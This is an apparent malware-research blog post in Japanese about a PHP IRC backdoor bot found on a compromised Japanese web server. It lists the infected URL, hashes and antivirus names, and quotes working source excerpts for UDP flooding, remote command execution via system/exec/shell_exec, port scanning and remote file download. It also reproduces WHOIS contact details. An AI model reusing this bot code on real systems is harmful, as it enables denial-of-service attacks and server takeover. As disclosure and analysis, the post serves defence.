月曜日, 5月 14, 2012

#OCJP-050: GMO/DigiRockのネットワークにある「oya2.net / 203.189.105.16」ウェブサーバにPHP/IRC-PBOT攻撃ツールを発見! 【対応最中】


今回は「PHP/IRC PBOT」のマルウェアを発見しました。感染されたサーバは脆弱性があるかと思われます。
インジェクトされたファイルはテキストファイルですね、リモートから実行が出来る様に権限を設定されています。
本マルウェアはリモートIRCサーバに接続されて、DoS攻撃、ポートスキャナー、ファイルダウンロードと感染機能が持っています。
さっそく詳細情報を説明します↓

■感染されたサーバ/IP

oya2.net / 203.189.105.16

■感染されたURLとダウンロード証拠↓

--20:22:17-- hxxp://oya2.net/mods/bt.php => `bt.php' Resolving oya2.net... 203.189.105.16 Connecting to oya2.net|203.189.105.16|:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] ( <=> ) 16,583 --.--K/s 20:22:17 (599.92 KB/s) - `bt.php' saved (16583)

■ファイルの形とウイルススキャン結果↓

File name: bt.php File type: PHP MD5: 5faea9e683531ac2fbaeb3da4ac2b1d1 File size: 16.2 KB ( 16583 bytes ) Detection ratio: 17 / 42 Analysis date: 2012-05-14 11:36:02 UTC Result: [CLICK]

■マルウェア種類↓

アファイル名 :「などなど.txt/jpg/gif/php」 ファイル種類 : テキスト マルウェア種類: PHP SCRIPT/トロイバックドアIRC BOT マルウェア名 : Backdoor.PHP.Ircbot マルウェア機能: IRCバックドアDoS攻撃、ファイルダウンローダー、ポートスキャナー

■マルウェア名↓

// Mon May 14 21:01:35 JST 2012 nProtect Backdoor.PHP.Ircbot.EF K7AntiVirus Riskware NOD32 PHP/IRCBot.NAN F-Prot PHP/Ircbot.K Avast PHP:IRCBot-AC [Trj] ClamAV PHP.Bot-1 BitDefender Backdoor.PHP.Ircbot.EF F-Secure Backdoor.PHP.Ircbot.EF VIPRE Backdoor.PHP.IRCBot.bu (v) AntiVir PHP/PBot.A McAfee-GW: Heuristic.BehavesLike.JS.Suspicious.G Emsisoft Backdoor.PHP.Pbot!IK eTrust-Vet PHP/IRCBot.KBE Microsoft Backdoor:PHP/IRCbot.F GData Backdoor.PHP.Ircbot.EF Commtouch PHP/Ircbot.K Ikarus Backdoor.PHP.Pbot

■マルウェアの説明↓

/// HASHコードが多い ファイルは普通のテキストですが、沢山HASHコードが入っています、 アンチウイルス製品でスキャンしたら検知しにくい物です。 毎回MD5が変わるとの原因です。私は同じファイル同じタイミングで3回スキャンしたら… 3件の別々の結果が出ました↓

見た目は下記のように↓ 下記はマルウェア機能の説明↓

/// PHP IRC BOT

<?php @set_time_limit(0); @error_reporting(0); class qNbZBbbnktqBTNNkB { : : $this->mmVGpSV("NICK ".$str.""); }function PMpdsDMAYDA($to,$msg){ $this->mmVGpSV("PRIVMSG $to :$msg"); }function YPggDp($chan,$key=NULL) { $this->mmVGpSV("JOIN $chan $key"); }function DamVPspS($host) { unset($this->users[$host]);

///UDP FLOOD DoS

case "udpflood": if(count($THTKBNNQZNzQWK)>3) { $this->GGyPGjMvyJMaaMgpds($THTKBNNQZNzQWK[1],$THTKBNNQZNzQWK[2],$THTKBNNQZNzQWK[3]); } break; : : function GGyPGjMvyJMaaMgpds($host,$packetsize,$time) { $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'],"[\2UdpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time(); $i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");

///INFECTED SVR'S SYSINFO

if(php_uname() == "") { $uname = "---"; } else { $uname = php_uname(); } $this->mmVGpSV("USER ".$str."-w 127.0.0.1 localhost :".$uname.""); : : $unme = php_uname(); if($unme == "") { $mname = "\00315---\003"; } else { $mname = "\00315".$unme."\003"; } $url = "\00315http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\003"; $pth = "\00315".getcwd()."\003"; $pthh = getcwd().""; $perms = fileperms("$pthh"); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; }

/// REMOTE IRC CONTROLS

case "QUIT": if($this->JGgDGYMMAaAm($cXiFLUu)) { $this->DamVPspS($cXiFLUu); } break; case "PART": if($this->JGgDGYMMAaAm($cXiFLUu)) { $this->DamVPspS($cXiFLUu); } break; case "PRIVMSG": if(!$this->JGgDGYMMAaAm($cXiFLUu) && (md5($roFufu) == $this->eq { if(substr($THTKBNNQZNzQWK[0],0,1)==$this->eqEWwKZnzKBebbt['h { switch(substr($THTKBNNQZNzQWK[0],1)) { case "user": : :

/// ARBITARY COMMAND EXECUTION

case "system": $command = substr(strstr($IRC,$THTKBNNQZNzQWK[0]),strlen($THTKBNNQZNzQWK[0])+1); $exec = system($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN']," : ".trim($ret[$i])); break; $command = substr(strstr($IRC,$THTKBNNQZNzQWK[0]),strlen($THTKBNNQZNzQWK[0])+1); $exec = exec($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN']," : ".trim($ret[$i])); ak; e "sexec": $command = substr(strstr($IRC,$THTKBNNQZNzQWK[0]),strlen($THTKBNNQZNzQWK[0])+1); $exec = shell_exec($command); $ret = explode("\n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN']," : ".trim($ret[$i]));

///PORTSCANNER

if(fsockopen($THTKBNNQZNzQWK[1],$THTKBNNQZNzQWK[2],$e,$s,15)) $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'],"[\2pscan\2]: ".$THTKBNNQZNzQWK[1].":".$THTKBNNQZNzQWK[2]." is \2open\2"); else $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'],"[\2pscan\2]: ".$THTKBNNQZNzQWK[1].":".$THTKBNNQZNzQWK[2]." is \2closed\2")

///FILE DOWNLOADER case "download": if(count($THTKBNNQZNzQWK) > 2) { if(!$fp = fopen($THTKBNNQZNzQWK[2],"w")) { $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'], "[download:]\00314 Kon bestand niet downloaden. Toestemming geweigerd."); } else { if(!$get = file($THTKBNNQZNzQWK[1])) { $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'], "[download:]\00314 Kan bestand \2".$THTKBNNQZNzQWK[1]."\2 niet downloaden."); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'], "[download:]\00314 Bestand \2".$THTKBNNQZNzQWK[1]."\2 gedownload naar \2".$THTKBNNQZNzQWK[2]."\2"); } fclose($fp); } } else { $this->PMpdsDMAYDA($this->eqEWwKZnzKBebbt['ZwHkzbN'], "[download:]\00314 Typ \".download http://your.host/file /tmp/file\""); } break;

■感染されたサーバの情報(報告んも為に) IP登録情報↓

IP: 203.189.105.16 inetnum: 203.189.105.0 - 203.189.105.255 netname: COREVPS-NET descr: DigiRock, Inc. country: JP admin-c: KH9600JP tech-c: KH9600JP changed: apnic-ftp@nic.ad.jp 20110412 changed: apnic-ftp@nic.ad.jp 20111206 source: JPNIC a. [JPNICハンドル] KH9600JP b. [氏名] 平岩 健二 c. [Last, First] Hiraiwa, Kenji d. [電子メイル] jpnic@digi-rock.com f. [組織名] 株式会社デジロック g. [Organization] DIGIROCK,INC.

ドメイン登録↓

Domain name: oya2.net Registrant Contact: DIGIROCK, INC. VALUE DOMAIN () Chuo-ku Bakurou-cho 4-7-5 Honmachi TS Building 6F Osaka-shi, Osaka-fu 541-0059 JP Administrative Contact: DIGIROCK, INC. VALUE DOMAIN (wankoclub@zero.ad.jp) +81.662416585 Fax: +81.662416586 Chuo-ku Bakurou-cho 4-7-5 Honmachi TS Building 6F Osaka-shi, Osaka-fu 541-0059 JP

インターネット・ルーティングのグラフ↓

---
ゼロデイ・ジャパン http://0day.jp
マルウェア研究所
Analyst: アドリアン・ヘンドリック / Hendrik ADRIAN
Sponsored by: 株式会社ケイエルジェイテック


TO BE NOTICED: All of the findings and exposed material in this site is belong to the site owner and is an original
materials. Any COPY of research material without written permission from unixfreaxjp/site owner is strictly prohibited. Any attempt to camouflage and attempt to owning this research material will be prosecuted by law.

0 件のコメント:

コメントを投稿